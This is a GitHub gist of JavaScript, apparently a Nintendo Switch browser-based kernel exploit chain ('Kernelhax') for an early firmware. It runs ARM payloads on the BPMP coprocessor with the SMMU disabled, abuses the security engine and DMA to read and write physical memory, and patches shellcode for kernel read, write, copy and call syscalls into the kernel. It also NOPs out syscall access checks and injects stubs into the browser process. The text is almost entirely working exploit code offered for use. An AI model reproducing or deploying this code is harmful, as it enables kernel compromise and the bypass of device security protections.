Skip to content

Instantly share code, notes, and snippets.

@SciresM
Created August 8, 2019 07:53
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SciresM/d8fea2037ee1fadda8614480655c74ae to your computer and use it in GitHub Desktop.
Save SciresM/d8fea2037ee1fadda8614480655c74ae to your computer and use it in GitHub Desktop.
var res = sc.ipcMsg(600).datau64(0x40000000, 0x40000).sendTo('fatal:u').assertOk();
var addr = [res.data[0], res.data[1]];
var sz = [res.data[2], res.data[3]];
utils.log('IRAM at: '+utils.paddr(addr)+', size: '+utils.paddr(sz));
sc.iramAddr = addr;
iramWrite4 = function(val, ofs) {
sc.ipcMsg(503).datau64(val, utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk();
}
iramWrite8 = function(val, ofs) {
sc.ipcMsg(502).datau64(val, utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk();
}
iramRead4 = function (ofs) {
return utils.pad64(sc.ipcMsg(501).datau64(utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk().data[0]);
}
iramRead8 = function (ofs) {
var res = sc.ipcMsg(500).datau64(utils.add2(sc.iramAddr, ofs)).sendTo('fatal:u').assertOk();
return [res.data[0], res.data[1]];
}
toUint32 = function(v) {
var dv = new DataView(new ArrayBuffer(4));
dv.setUint32(0, v, true);
return dv.getUint32(0, true);
}
sc.u32 = toUint32;
runBPMPPayload = function(innerPayload) {
var payload = [0xE3A0C207, 0xE28CC801, 0xE28CCA09, 0xE59CB23C, 0xE3A00000, 0xE58C023C, // Disable SMMU
0xE3A00102, 0xE5901000, 0xE2800801, 0xE350020F, 0x1AFFFFFB // Flush dcache
].concat(innerPayload,
[0xE3A00102, 0xE5901000, 0xE2800801, 0xE350020F, 0x1AFFFFFB, // Flush dcache
0xE58CB23C, // Restore SMMU
0xEAFFFFFE // Wait forever
]);
utils.dlog('Writing payload...');
for (var i = 0; i < payload.length; i++) {
iramWrite4(payload[i], 0x17F5C + 4 * i);
}
iramWrite4(0xEAFFFFFE, 0x17CC0 + 4 * payload.length); // infloop
utils.dlog('Wrote payload!');
// RESET
var res = sc.ipcMsg(600).datau64(0x60006000, 0x1000).sendTo('fatal:u').assertOk();
var addr = [res.data[0], res.data[1]];
var sz = [res.data[2], res.data[3]];
utils.dlog('Holding reset...');
sc.ipcMsg(503).datau64(2, utils.add2(addr, 0x300)).sendTo('fatal:u').assertOk();
utils.dlog('Clearing reset...');
sc.ipcMsg(503).datau64(2, utils.add2(addr, 0x304)).sendTo('fatal:u').assertOk();
utils.dlog('Turning on flow...');
res = sc.ipcMsg(600).datau64(0x60007000, 0x1000).sendTo('fatal:u').assertOk();
addr = [res.data[0], res.data[1]];
sz = [res.data[2], res.data[3]];
sc.ipcMsg(503).datau64(0, utils.add2(addr, 4)).sendTo('fatal:u').assertOk();
sc.svc(0xB, [250000000]);
utils.dlog('Turning off BPMP!');
sc.ipcMsg(503).datau64(0x50000000, utils.add2(addr, 4)).sendTo('fatal:u').assertOk();
}
clearFakePageTables = function() {
runBPMPPayload([0xE3A01103, 0xE3A02000, 0xE3A03000, 0xE7813002, 0xE2822004, 0xE3520A03, 0x1AFFFFFB]);
}
setupPageTablesForDMA = function(physBase) {
var physVal = toUint32(0xE0000000 + (((physBase & 0xFFFFF000) / 0x1000) & 0x000FFFFF));
runBPMPPayload([0xE3A01103, 0xE3A0320F, 0xE2833703, 0xE2833001, 0xE5813000, 0xE3A0320E, 0xE2833702, 0xE2811A01, 0xE5813000, 0xE59F3038, 0xE5813004, 0xE2833001, 0xE5813008, 0xE3A01207, 0xE2811801, 0xE2811A09, 0xE3A03001, 0xE581301C, 0xE3A0320E, 0xE2833703, 0xE5813020, 0xE3A03102, 0xE2833401, 0xE5813024, 0xEA000000, physVal, 0xE320F000]);
}
setupDmaLists = function(physBase) {
runBPMPPayload([0xE3A01102, 0xE3A03000, 0xE5813000, 0xE581300C, 0xE3A03A01, toUint32(0xE2833C00 + (((physBase & 0xF00) / 0x100) & 0xF)), toUint32(0xE2833000 + (physBase & 0xFF)), 0xE5813004, 0xE3A03020, 0xE5813010, 0xE3A03010, 0xE5813008, 0xE5813014])
}
copyLowerDramToIram = function() {
runBPMPPayload([0xE3A00101, 0xE3A01102, 0xE3A02000, 0xE7913002, 0xE7803002, 0xE2822004, 0xE3520A02, 0x1AFFFFFA]);
}
copyDMABufFromIramToDram = function() {
runBPMPPayload([0xE3A00101, 0xE3A01102, 0xE5902020, 0xE5812020, 0xE5902024, 0xE5812024, 0xE5902028, 0xE5812028, 0xE590202C, 0xE581202C]);
}
saveSESMMUState = function() {
runBPMPPayload([0xE3A01207, 0xE2811801, 0xE2811A09, 0xE3A03001, 0xE581301C, 0xE3A00102, 0xE2800080, 0xE5913020, 0xE5803000])
}
saveSESMMUState();
readMem = function(physAddr) {
clearFakePageTables();
setupPageTablesForDMA(physAddr);
setupDmaLists(physAddr);
var CTR_X = [0xD44BE966, 0x3B2C8AEF, 0x59FA4C88, 0x2E2B34CA];
var engine = sc.ipcMsg(21).sendTo('spl:').assertOk().data[0];
utils.dlog('Locked engine '+engine);
try {
var seal = sc.ipcMsg(20).datau32(0x3A41B7D4, 0x39CD73AB, 0x80A770CD, 0xC7C2CA3D).sendTo('spl:').assertOk();
sc.ipcMsg(19).datau32(seal.data[0], seal.data[1], seal.data[2], seal.data[3], engine).sendTo('spl:').assertOk();
var crypt = sc.ipcMsg(1000).datau64(0xC3000009, 0x20 + engine, 0, 0, 0x0, 0xC, 0x10).sendTo('fatal:u').assertOk();
sc.ipcMsg(1000).datau64(0xC3000003, [crypt.data[2], crypt.data[3]]).sendTo('fatal:u').assertOk();
} finally {
sc.ipcMsg(22).datau32(engine).sendTo('spl:').assertOk();
utils.dlog('Unlocked engine!');
}
copyLowerDramToIram();
return new Uint32Array([toUint32(iramRead4(0x20)[0] ^ CTR_X[0]),
toUint32(iramRead4(0x24)[0] ^ CTR_X[1]),
toUint32(iramRead4(0x28)[0] ^ CTR_X[2]),
toUint32(iramRead4(0x2C)[0] ^ CTR_X[3])]);
}
writeMem = function(physAddr, mem) {
clearFakePageTables();
setupPageTablesForDMA(physAddr);
setupDmaLists(physAddr);
var CTR_X = [0xD44BE966, 0x3B2C8AEF, 0x59FA4C88, 0x2E2B34CA];
utils.dlog('Writing encmem...');
for (var i = 0; i < 0x4; i ++) {
iramWrite4(toUint32(mem[i] ^ CTR_X[i]), 0x20+i*4);
}
utils.dlog('DMA buf...');
copyDMABufFromIramToDram();
utils.dlog('DMA buf copied!');
var engine = sc.ipcMsg(21).sendTo('spl:').assertOk().data[0];
utils.dlog('Locked engine '+engine);
try {
var seal = sc.ipcMsg(20).datau32(0x3A41B7D4, 0x39CD73AB, 0x80A770CD, 0xC7C2CA3D).sendTo('spl:').assertOk();
sc.ipcMsg(19).datau32(seal.data[0], seal.data[1], seal.data[2], seal.data[3], engine).sendTo('spl:').assertOk();
var crypt = sc.ipcMsg(1000).datau64(0xC3000009, 0x20 + engine, 0, 0, 0xC, 0x0, 0x10).sendTo('fatal:u').assertOk();
sc.ipcMsg(1000).datau64(0xC3000003, [crypt.data[2], crypt.data[3]]).sendTo('fatal:u').assertOk();
} finally {
sc.ipcMsg(22).datau32(engine).sendTo('spl:').assertOk();
utils.dlog('Unlocked engine!');
}
}
if (sc.installedCustomSvcs == undefined || !sc.installedCustomSvcs) {
sc.installedCustomSvcs = false;
var kernBase = utils.parseAddr('FFFFFFF7FFC00000');
var customSvcOfs = 0x62880;
utils.log('Installing svcKernelWrite...');
/**
* svc 0x3E: svcKernelWrite(value, address, width);
*
* Arguments: A value to write, a Kernel pointer to write to, and a width for the write (1, 2, 4, or 8).
* Writes width bytes from value to address.
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width.
* No validation is performed on the address pointer argument or on the value argument.
*/
var svcKernWriteShellcode = [[0x7100045F, 0x54000120, 0x7100085F, 0x54000140], [0x7100105F, 0x54000160, 0x7100205F, 0x54000180], [0xD2994020, 0xD65F03C0, 0x39000020, 0xD2800000], [0xD65F03C0, 0x79000020, 0xD2800000, 0xD65F03C0], [0xB9000020, 0xD2800000, 0xD65F03C0, 0xF9000020], [0xD2800000, 0xD65F03C0, 0xD503201F, 0xD503201F]];
var svcKernWriteOfs = customSvcOfs;
var svcKernWriteOfsK = utils.add2(kernBase, svcKernWriteOfs);
for (var i = 0; i < svcKernWriteShellcode.length; i++) {
writeMem(0x800A0000 + customSvcOfs, svcKernWriteShellcode[i]);
customSvcOfs += 0x10;
}
/**
* svc 0x3D: svcKernelRead(address, width);
*
* Arguments: A Kernel pointer to read in, and a width for the read (1, 2, 4, or 8).
* Reads width bytes from address, storing the result in X1.
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width.
* No validation is performed on the address pointer argument.
*/
utils.log('Installing svcKernelRead...');
var svcKernReadShellcode = [[0x7100043F, 0x54000120, 0x7100083F, 0x54000140], [0x7100103F, 0x54000160, 0x7100203F, 0x54000180], [0xD2994020, 0xD65F03C0, 0x39400001, 0xD2800000], [0xD65F03C0, 0x79400001, 0xD2800000, 0xD65F03C0], [0xB9400001, 0xD2800000, 0xD65F03C0, 0xF9400001], [0xD2800000, 0xD65F03C0, 0xD503201F, 0xD503201F]];
var svcKernReadOfs = customSvcOfs;
var svcKernReadOfsK = utils.add2(kernBase, svcKernReadOfs);
for (var i = 0; i < svcKernReadShellcode.length; i++) {
writeMem(0x800A0000 + customSvcOfs, svcKernReadShellcode[i]);
customSvcOfs += 0x10;
}
/**
* svc 0x3F: svcKernelCopy(dst, src, size);
*
* Arguments: A destination kernel pointer, a source kernel pointer, and a size.
* Performs memcpy(dst, src, size).
* Returns 0 in X0.
* No validation is performed on any arguments.
*/
utils.log('Installing svcKernelCopy...');
var svcKernCopyShellcode = [[0xA9BF7BFD, 0xA9BF17E4, 0x580000C4, 0xD63F0080], [0xA8C117E4, 0xA8C17BFD, 0x2A1F03E0, 0xD65F03C0], [0xFFC62178, 0xFFFFFFF7, 0xD503201F, 0xD503201F]];
var svcKernCopyOfs = customSvcOfs;
var svcKernCopyOfsK = utils.add2(kernBase, svcKernCopyOfs);
for (var i = 0; i < svcKernCopyShellcode.length; i++) {
writeMem(0x800A0000 + customSvcOfs, svcKernCopyShellcode[i]);
customSvcOfs += 0x10;
}
/**
* svc 0x6F: svcKernelCall(fptr, register_buffer);
*
* Arguments: A kernel function pointer (!), and a buffer to read and dump registers to.
* Buffer should be size 0x100, with X0 at 0, X1 at 8, etc through X30 at 0xF0.
* Calls the passed function pointer with the relevant arguments, and dumps output registers to the input buffer.
* Returns 0 in X0.
* No validation is performed on any arguments.
*/
utils.log('Installing svcKernelCall...');
var svcKernCallShellcode = [[0xD10403FF, 0xA90007E0, 0xA9010FE2, 0xA90217E4], [0xA9031FE6, 0xA90427E8, 0xA9052FEA, 0xA90637EC], [0xA9073FEE, 0xA90847F0, 0xA9094FF2, 0xA90A57F4], [0xA90B5FF6, 0xA90C67F8, 0xA90D6FFA, 0xA90E77FC], [0xF9007BFE, 0xAA0003F0, 0xAA0103E0, 0xA9410C02], [0xA9421404, 0xA9431C06, 0xA9442408, 0xA9452C0A], [0xA946340C, 0xA9473C0E, 0xF9404411, 0xA9494C12], [0xA94A5414, 0xA94B5C16, 0xA94C6418, 0xA94D6C1A], [0xA94E741C, 0xF940781E, 0xA9400400, 0xD63F0200], [0xF81F8FE0, 0xF9400BE0, 0xA9000400, 0xA9010C02], [0xA9021404, 0xA9031C06, 0xA9042408, 0xA9052C0A], [0xA906340C, 0xA9073C0E, 0xA9084410, 0xA9094C12], [0xA90A5414, 0xA90B5C16, 0xA90C6418, 0xA90D6C1A], [0xA90E741C, 0xF900781E, 0xF84087E1, 0xF9000001], [0xA9410FE2, 0xA94217E4, 0xA9431FE6, 0xA94427E8], [0xA9452FEA, 0xA94637EC, 0xA9473FEE, 0xA94847F0], [0xA9494FF2, 0xA94A57F4, 0xA94B5FF6, 0xA94C67F8], [0xA94D6FFA, 0xA94E77FC, 0xF9407BFE, 0x910403FF], [0xAA1F03E0, 0xD65F03C0, 0xD503201F, 0xD503201F]];
var svcKernCallOfs = customSvcOfs;
var svcKernCallOfsK = utils.add2(kernBase, svcKernCallOfs);
for (var i = 0; i < svcKernCallShellcode.length; i++) {
writeMem(0x800A0000 + customSvcOfs, svcKernCallShellcode[i]);
customSvcOfs += 0x10;
}
writeMem(0x800A0000 + 0x64648, [svcKernReadOfsK[0], svcKernReadOfsK[1], svcKernWriteOfsK[0], svcKernWriteOfsK[1]]); // Write svcKernelRead, svcKernelWrite 32-bit funcptrs
writeMem(0x800A0000 + 0x64A48, [svcKernReadOfsK[0], svcKernReadOfsK[1], svcKernWriteOfsK[0], svcKernWriteOfsK[1]]); // Write svcKernelRead, svcKernelWrite 64-bit funcptrs
writeMem(0x800A0000 + 0x64650, [svcKernWriteOfsK[0], svcKernWriteOfsK[1], svcKernCopyOfsK[0], svcKernCopyOfsK[1]]); // Write svcKernelWrite, svcKernelCopy 32-bit funcptrs
writeMem(0x800A0000 + 0x64A50, [svcKernWriteOfsK[0], svcKernWriteOfsK[1], svcKernCopyOfsK[0], svcKernCopyOfsK[1]]); // Write svcKernelWrite, svcKernelCopy 64-bit funcptrs
writeMem(0x800A0000 + 0x647D0, [0, 0, svcKernCallOfsK[0], svcKernCallOfsK[1]]); // Write svcKernelCall 32-bit funcptrs
writeMem(0x800A0000 + 0x64BD0, [0, 0, svcKernCallOfsK[0], svcKernCallOfsK[1]]); // Write svcKernelCall 64-bit funcptrs
writeMem(0x800A0000 + 0x52828, [0xD503201F, 0xD503201F, 0xD503201F, 0xD503201F]); // NOP out SVC access checks.
utils.log('Installed custom SVCs!');
sc.installedCustomSvcs = true;
}
locateBrowserKProcess = function() {
utils.log('Looking for browser KProcess...');
var kDram = utils.parseAddr('FFFFFFF800000000');
var ptr = readMem(0x800A0000 + 0x6A550); // KProcess Slabheap last ptr...2.0.0
var llOfs = utils.sub2([ptr[0], ptr[1]], kDram)[0];
var browserMagic = 0x70416269;
while (true) {
var llV = readMem(0x80000000 + llOfs + 8);
var next = utils.sub2([llV[0], llV[1]], kDram)[0];
var proc = utils.sub2([llV[2], llV[3]], kDram)[0];
var pName = readMem(0x80000000 + proc + 0x190);
var pNameU8 = new Uint8Array(pName.buffer);
var name = '';
for (var i = 3; i < 0x10; i++) {
name += String.fromCharCode(pNameU8[i]);
}
utils.log('Found Process: '+name);
if (pName[1] == browserMagic) {
return proc;
}
llOfs = next;
}
}
resolveProcessAddress = function(kproc, addr) {
var kDram = utils.parseAddr('FFFFFFF800000000');
var pageTable = readMem(0x80000000 + kproc + 0x38 + 0x70);
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3));
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF);
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF);
var l1Ind = (pageTable[3] + 0x1FF) & l1;
var l1M = readMem(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind);
if ((l1M[0] & 3) == 3) { // Level 2
l2M = readMem(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8));
if ((l2M[0] & 3) == 3) { // Level 3
l3M = readMem(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8));
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)];
} else {
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)];
}
} else {
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)];
}
}
var browserKProc = locateBrowserKProcess();
utils.log('Browser KProcess is at '+browserKProc.toString(16));
var mi = sc.svcQueryMem(sc.mref(0), true).assertOk();
var rodata = utils.add2(mi[0], mi[1]);
var free_space = utils.sub2(rodata, 0x30);
utils.log('Locating code cave...');
var browserFreePhys = resolveProcessAddress(browserKProc, free_space);
sc.svcSpace = free_space;
utils.log('Installing SVC callers to browser...');
var svcShellcode = [[0xD40007A1, 0xAA0103E0, 0xD65F03C0, 0xD40007C1], [0xD65F03C0, 0xD40007E1, 0xD65F03C0, 0xD4000DE1], [0xD65F03C0, 0xD503201F, 0xD503201F, 0xD503201F]];
for (var i = 0; i < svcShellcode.length; i++) {
writeMem(browserFreePhys[0] + i * 0x10, svcShellcode[i]);
}
sc.kernRead = function(addr, width) {
if (width == undefined) {
width = 8;
}
var val = sc.call(sc.svcSpace, [addr, width]);
if (width < 8) { val[1] = 0; }
return val; // TODO: Check Error Code
}
sc.kernCopy = function(dst, src, size) {
return sc.call(utils.add2(sc.svcSpace, 5 * 4), [dst, src, size]);
}
sc.kernWrite = function(val, addr, width) {
if (width == undefined) {
width = 8;
}
sc.call(utils.add2(sc.svcSpace, 3 * 4), [val, addr, width]); // TODO: Check Error Code
}
sc.kernCall = function(fptr, args, dump_regs) {
if (typeof(fptr) == 'number') {
fptr = utils.add2(fptr, [0xFFC00000, 0xFFFFFFF7]);
}
if (sc.kernLoadBuf === undefined) {
sc.kernLoadBuf = sc.malloc(0x100);
}
switch(arguments.length) {
case 1:
args = [];
case 2:
dump_regs = false;
}
if(args.length > 0) {
for(var i = 0; i < 30 && i < args.length; i++) {
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
sc.write8(sc.getArrayBufferAddr(args[i]), utils.add2(sc.kernLoadBuf, 8*i));
} else {
sc.write8(utils.pad64(args[i]), utils.add2(sc.kernLoadBuf, 8*i));
}
}
}
var res = sc.call(utils.add2(sc.svcSpace, 7 * 4), [fptr, sc.kernLoadBuf]);
return sc.read8(sc.kernLoadBuf);
}
sc.resolvePhysicalAddress = function(addr) {
var kDram = utils.parseAddr('FFFFFFF800000000');
var read0x10 = function(paddr) {
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000));
var low = sc.kernRead(vaddr);
var hi = sc.kernRead(utils.add2(vaddr, 8));
return [low[0], low[1], hi[0], hi[1]];
}
var pageTableAddr = utils.add2(kDram, browserKProc + 0x38 + 0x70);
var pageTable = read0x10(0x80000000 + browserKProc + 0x38 + 0x70);
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3));
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF);
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF);
var l1Ind = (pageTable[3] + 0x1FF) & l1;
var l1M = read0x10(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind);
if ((l1M[0] & 3) == 3) { // Level 2
l2M = read0x10(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8));
if ((l2M[0] & 3) == 3) { // Level 3
l3M = read0x10(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8));
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)];
} else {
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)];
}
} else {
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)];
}
}
sc.resolvePhysicalAddressForProcess = function(kproc, addr) {
var kDram = utils.parseAddr('FFFFFFF800000000');
var read0x10 = function(paddr) {
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000));
var low = sc.kernRead(vaddr);
var hi = sc.kernRead(utils.add2(vaddr, 8));
return [low[0], low[1], hi[0], hi[1]];
}
var pageTableAddr = utils.add2(kDram, kproc + 0x38 + 0x70);
var pageTable = read0x10(0x80000000 + kproc + 0x38 + 0x70);
var l1 = toUint32(((addr[1] & 0x7F) * 4) + (((addr[0] & 0xC0000000) / 0x40000000) & 0x3));
var l2 = toUint32(((addr[0] & 0x3FE00000) / 0x200000) & 0x1FF);
var l3 = toUint32(((addr[0] & 0x1FF000) / 0x1000) & 0x1FF);
var l1Ind = (pageTable[3] + 0x1FF) & l1;
var l1M = read0x10(0x80000000 + utils.sub2([pageTable[0], pageTable[1]], kDram)[0] + 8 * l1Ind);
if ((l1M[0] & 3) == 3) { // Level 2
l2M = read0x10(toUint32((l1M[0] & 0xFFFFF000) + l2 * 8));
if ((l2M[0] & 3) == 3) { // Level 3
l3M = read0x10(toUint32((l2M[0] & 0xFFFFF000) + l3 * 8));
return [toUint32((l3M[0] & 0xFFFFF000) + (addr[0] & 0xFFF)), toUint32(l3M[1] & 0xFFFF)];
} else {
return [toUint32((l2M[0] & 0xFFE00000) + (addr[0] & 0x1FFFFF)), toUint32(l2M[1] & 0xFFFF)];
}
} else {
return [toUint32((l1M[0] & 0xC0000000) + (addr[0] & 0x3FFFFFFF)), toUint32(l1M[1] & 0xFFFF)];
}
}
sc.locateKProcess = function(processName) {
var read0x10 = function(paddr) {
var vaddr = utils.add2(kDram, toUint32(paddr - 0x80000000));
var low = sc.kernRead(vaddr);
var hi = sc.kernRead(utils.add2(vaddr, 8));
return new Uint32Array([low[0], low[1], hi[0], hi[1]]);
}
var kDram = utils.parseAddr('FFFFFFF800000000');
var ptr = read0x10(0x800A0000 + 0x6A550); // KProcess Slabheap last ptr...2.0.0
var llOfs = utils.sub2([ptr[0], ptr[1]], kDram)[0];
var browserMagic = 0x70416269;
while (true) {
var llV = read0x10(0x80000000 + llOfs + 8);
var next = utils.sub2([llV[0], llV[1]], kDram)[0];
var proc = utils.sub2([llV[2], llV[3]], kDram)[0];
var pName = read0x10(0x80000000 + proc + 0x190);
var pNameU8 = new Uint8Array(pName.buffer);
var name = '';
for (var i = 3; i < 0x10; i++) {
if (pNameU8[i] != 0) {
name += String.fromCharCode(pNameU8[i]);
}
}
//utils.log('Found Process: '+name);
if (processName.startsWith(name)) {
return proc;
}
llOfs = next;
}
}
// Restore SE SMMU page tables.
sc.kernWrite(1, [0xFFDC601C, 0xFFFFFFF7], 4);
sc.kernWrite(sc.kernRead([0x80, 0xFFFFFFF8], 4)[0], [0xFFDC6020, 0xFFFFFFF7], 4);
utils.log('Kernelhax complete! :)');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment